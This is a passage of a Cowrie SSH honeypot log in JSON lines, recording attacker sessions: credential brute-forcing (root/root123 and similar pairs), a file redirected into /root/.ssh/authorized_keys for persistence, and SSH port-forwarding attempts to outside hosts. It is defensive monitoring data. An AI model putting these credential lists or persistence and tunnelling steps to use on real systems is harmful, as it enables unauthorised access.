~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:30.113561Z","src_ip":"34.85.163.94","session":"42790fbd7ec9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:30.320626Z","src_ip":"34.85.163.94","session":"42790fbd7ec9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:30.323925Z","src_ip":"34.85.163.94","session":"42790fbd7ec9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":58476,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c182a02a8c1","protocol":"ssh","message":"New connection: 34.85.163.94:58476 (159.203.135.109:22) [session: 9c182a02a8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:30.329262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:30.333196Z","src_ip":"34.85.163.94","session":"9c182a02a8c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:30.344771Z","src_ip":"34.85.163.94","session":"9c182a02a8c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:30.567937Z","src_ip":"34.85.163.94","session":"9c182a02a8c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:31.581970Z","src_ip":"34.85.163.94","session":"9c182a02a8c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":58482,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7ee55eec9df","protocol":"ssh","message":"New connection: 34.85.163.94:58482 (159.203.135.109:22) [session: a7ee55eec9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:31.589004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:31.593214Z","src_ip":"34.85.163.94","session":"a7ee55eec9df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:31.790856Z","src_ip":"34.85.163.94","session":"a7ee55eec9df","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:32.053273Z","src_ip":"34.85.163.94","session":"a7ee55eec9df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:32.065902Z","src_ip":"34.85.163.94","session":"42790fbd7ec9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:32.069075Z","src_ip":"34.85.163.94","session":"a7ee55eec9df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":57496,"dst_ip":"159.203.135.109","dst_port":22,"session":"e636f8cdb72a","protocol":"ssh","message":"New connection: 77.90.185.17:57496 (159.203.135.109:22) [session: e636f8cdb72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:33.308203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:33.311897Z","src_ip":"77.90.185.17","session":"e636f8cdb72a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:33.450853Z","src_ip":"77.90.185.17","session":"e636f8cdb72a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:33.935673Z","src_ip":"77.90.185.17","session":"e636f8cdb72a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":40160,"dst_ip":"159.203.135.109","dst_port":22,"session":"79adfe0661b8","protocol":"ssh","message":"New connection: 2.57.122.210:40160 (159.203.135.109:22) [session: 79adfe0661b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:34.215136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:34.219078Z","src_ip":"2.57.122.210","session":"79adfe0661b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:34.325075Z","src_ip":"2.57.122.210","session":"79adfe0661b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ubuntu","message":"login attempt [sol/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:34.640288Z","src_ip":"2.57.122.210","session":"79adfe0661b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.253.23.170","dst_port":443,"src_ip":"77.90.185.17","src_port":38278,"message":"direct-tcp connection request to 34.253.23.170:443 from 127.0.0.1:38278","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:35.249247Z","session":"e636f8cdb72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.253.23.170","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.253.23.170:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:35.362431Z","src_ip":"77.90.185.17","session":"e636f8cdb72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.253.23.170","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9c\\xe5\\xb7\\x8eR\\xbfM\\x81\\xc3\\xbb\\xd30\\x12\\x02Z$\\xbd\\x9a\\x86\\\\\\xbc\\x0f\\xbd\\xdb\\nJ\\x82\\xeceq\\xbf\\x08 \\xd4L\\xab:u;\\xaa8\\x8c\\x15\\xc2C\\x18d\\x93f\\xe35\\x1c\\xbe\\x1c{\\xae\\xf5r\\xae\\xe3x9\\x85_\\x14\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa3\\xf1b*\\x1a\\x14 4\\xee\\xdf\\x18AS\\xe0&\\x15\\xc1\\x1d\\x01\\x11!\\xb8\\xf4)H\\xbd\\xabw\\x05(+1\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.253.23.170:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9c\\xe5\\xb7\\x8eR\\xbfM\\x81\\xc3\\xbb\\xd30\\x12\\x02Z$\\xbd\\x9a\\x86\\\\\\xbc\\x0f\\xbd\\xdb\\nJ\\x82\\xeceq\\xbf\\x08 \\xd4L\\xab:u;\\xaa8\\x8c\\x15\\xc2C\\x18d\\x93f\\xe35\\x1c\\xbe\\x1c{\\xae\\xf5r\\xae\\xe3x9\\x85_\\x14\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa3\\xf1b*\\x1a\\x14 4\\xee\\xdf\\x18AS\\xe0&\\x15\\xc1\\x1d\\x01\\x11!\\xb8\\xf4)H\\xbd\\xabw\\x05(+1\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:35.365581Z","src_ip":"77.90.185.17","session":"e636f8cdb72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.24.145.53","dst_port":443,"src_ip":"77.90.185.17","src_port":39078,"message":"direct-tcp connection request to 184.24.145.53:443 from 127.0.0.1:39078","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:35.485504Z","session":"e636f8cdb72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.24.145.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.24.145.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:47:35.616617Z","src_ip":"77.90.185.17","session":"e636f8cdb72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.24.145.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4G$uv+\\xf1\\xc9g\\x92\\xa7\\x1e[\\xe8\\xd7\\xc9\\xb6#\\\\\\x97l\\xe7!\\x97\\xb8S\\\\k\\x13!\\xe0\\x83 \\x16\\xbb?\\xa0\\xedM\\x8d\\xb1\\xbc_\\xb5\\x8f\\xacgG0\\xa6p\\xfb\\x9d\\x0e\\x11f\\xe8\\x9e\\xb76\\xf2^\\xc8\\xc8\\x95\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 `\\x04\\xd5\\xb1\\x1e!\\x97\\xb54=\\rs\\x03ML\\x8e+\\xce#\\x0f('\\xf0\\r\\xd9\\x0f\\xfa\\xba\\x0f*\\x17~\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.24.145.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4G$uv+\\xf1\\xc9g\\x92\\xa7\\x1e[\\xe8\\xd7\\xc9\\xb6#\\\\\\x97l\\xe7!\\x97\\xb8S\\\\k\\x13!\\xe0\\x83 